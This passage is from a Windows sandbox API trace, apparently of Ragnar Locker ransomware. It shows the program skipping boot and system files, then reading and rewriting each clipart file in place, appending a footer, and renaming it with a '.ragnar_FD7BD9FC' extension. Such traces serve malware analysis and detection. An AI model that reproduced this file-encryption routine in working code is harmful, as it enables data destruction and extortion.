(lpString1=".WMF", lpString2=".sys") returned 1 [0090.758] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.758] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.758] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.758] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.758] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf")) returned 0x20 [0090.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.760] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13890) returned 1 [0090.760] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3639, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.760] GetProcessHeap () returned 0x580000 [0090.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.760] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.761] VirtualAlloc (lpAddress=0x0, dwSize=0x3642, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.761] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.761] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.761] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3642, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3642, lpOverlapped=0x0) returned 1 [0090.762] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.762] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3642, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.762] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3642, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3642, lpOverlapped=0x0) returned 1 [0090.762] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3642, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.762] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.763] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3642, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.763] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.763] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.763] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.763] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.763] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.763] GetProcessHeap () returned 0x580000 [0090.763] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.763] CloseHandle (hObject=0xf4) returned 1 [0090.763] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" [0090.763] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.ragnar_FD7BD9FC" [0090.763] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.764] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf553ff00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf553ff00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x476e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00257_.WMF", cAlternateFileName="")) returned 1 [0090.764] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.764] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00257_.WMF" | out: lpString1="SO00257_.WMF") returned="SO00257_.WMF" [0090.764] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF") returned=".WMF" [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="autorun.inf") returned 1 [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="boot.ini") returned 1 [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="bootfont.bin") returned 1 [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="bootsect.bak") returned 1 [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="bootmgr") returned 1 [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="bootmgr.efi") returned 1 [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="desktop.ini") returned 1 [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="iconcache.db") returned 1 [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="ntldr") returned 1 [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="ntuser.dat") returned 1 [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="ntuser.ini") returned 1 [0090.764] lstrcmpiW (lpString1="SO00257_.WMF", lpString2="thumbs.db") returned -1 [0090.765] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.765] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.765] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.765] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.765] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.765] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.765] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf")) returned 0x20 [0090.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.765] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18286) returned 1 [0090.765] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4765, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.765] GetProcessHeap () returned 0x580000 [0090.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.765] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.767] VirtualAlloc (lpAddress=0x0, dwSize=0x476e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.767] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.767] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.767] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x476e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x476e, lpOverlapped=0x0) returned 1 [0090.768] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.768] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x476e, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.768] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x476e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x476e, lpOverlapped=0x0) returned 1 [0090.768] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x476e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.768] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x476e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.769] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.769] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.769] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.769] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.769] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.769] GetProcessHeap () returned 0x580000 [0090.769] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.769] CloseHandle (hObject=0xf4) returned 1 [0090.769] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" [0090.769] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.ragnar_FD7BD9FC" [0090.769] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.770] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7c6d00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f7c6d00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0xd8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00289_.WMF", cAlternateFileName="")) returned 1 [0090.770] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.770] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00289_.WMF" | out: lpString1="SO00289_.WMF") returned="SO00289_.WMF" [0090.770] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF") returned=".WMF" [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="autorun.inf") returned 1 [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="boot.ini") returned 1 [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="bootfont.bin") returned 1 [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="bootsect.bak") returned 1 [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="bootmgr") returned 1 [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="bootmgr.efi") returned 1 [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="desktop.ini") returned 1 [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="iconcache.db") returned 1 [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="ntldr") returned 1 [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="ntuser.dat") returned 1 [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="ntuser.ini") returned 1 [0090.770] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="thumbs.db") returned -1 [0090.770] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.770] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.771] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.771] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.771] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.771] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.771] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf")) returned 0x20 [0090.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.771] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=55520) returned 1 [0090.771] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd8d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.771] GetProcessHeap () returned 0x580000 [0090.771] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.771] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.773] VirtualAlloc (lpAddress=0x0, dwSize=0xd8e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.773] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.773] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.773] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd8e0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd8e0, lpOverlapped=0x0) returned 1 [0090.775] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.775] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd8e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.775] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd8e0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd8e0, lpOverlapped=0x0) returned 1 [0090.775] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd8e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.775] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.776] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd8e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.776] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.776] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.776] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.776] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.776] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.776] GetProcessHeap () returned 0x580000 [0090.776] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.776] CloseHandle (hObject=0xf4) returned 1 [0090.776] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" [0090.776] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.ragnar_FD7BD9FC" [0090.776] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.777] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba531a00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba531a00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x10cb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00299_.WMF", cAlternateFileName="")) returned 1 [0090.777] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.777] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00299_.WMF" | out: lpString1="SO00299_.WMF") returned="SO00299_.WMF" [0090.777] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF") returned=".WMF" [0090.777] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.777] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="autorun.inf") returned 1 [0090.777] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="boot.ini") returned 1 [0090.777] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="bootfont.bin") returned 1 [0090.777] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="bootsect.bak") returned 1 [0090.777] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="bootmgr") returned 1 [0090.777] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="bootmgr.efi") returned 1 [0090.777] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.777] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="desktop.ini") returned 1 [0090.777] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="iconcache.db") returned 1 [0090.777] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="ntldr") returned 1 [0090.777] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="ntuser.dat") returned 1 [0090.777] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.777] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="ntuser.ini") returned 1 [0090.778] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="thumbs.db") returned -1 [0090.778] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.778] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.778] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.778] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.778] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.778] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.778] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf")) returned 0x20 [0090.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, 